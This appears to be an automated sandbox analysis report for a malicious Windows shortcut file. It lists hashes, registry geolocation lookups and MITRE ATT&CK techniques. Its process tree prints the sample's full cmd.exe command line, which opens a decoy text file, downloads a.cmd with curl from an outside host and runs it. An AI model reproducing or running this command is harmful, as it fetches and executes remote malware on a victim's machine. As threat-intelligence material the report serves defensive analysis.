1a16a08151ad1e698f53d70d36c0e5dafd9c2bbc3bd2710e5904f54b91aae128

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/06/2026, 20:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_1a16a08151ad1e698f53d70d36c0e5dafd9c2bbc3bd2710e5904f54b91aae128.lnk
Size 1KB
Sample260620-yvrxtsat3t
SHA256 1a16a08151ad1e698f53d70d36c0e5dafd9c2bbc3bd2710e5904f54b91aae128
MD5 bc2b214604bbb67b930e86de641d50fa
SHA1 43c4811b6c97191f358de49f2b639fcb547b145e
SHA512 1cf444fcc18692833898bd96067890718b1e211c180f7990a76a3c4624d4d566fef962a0fa26177d31a2a11ceaccad9356846bd3d78c80119cbe13a0c1c9986b
TLSH
T1F511C0041E6A0328E3F2CD3B849BA32187327806FA328F1A01D186CC6858641FC25F2F
MD5 SHA1 SHA512 TLSH

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4716 wrote to memory of 4012	4716	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\_1a16a08151ad1e698f53d70d36c0e5dafd9c2bbc3bd2710e5904f54b91aae128.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\grok.txt)&(curl.exe https://2xx2.org/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://2xx2.org 371)
  2⤵
  PID:4012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads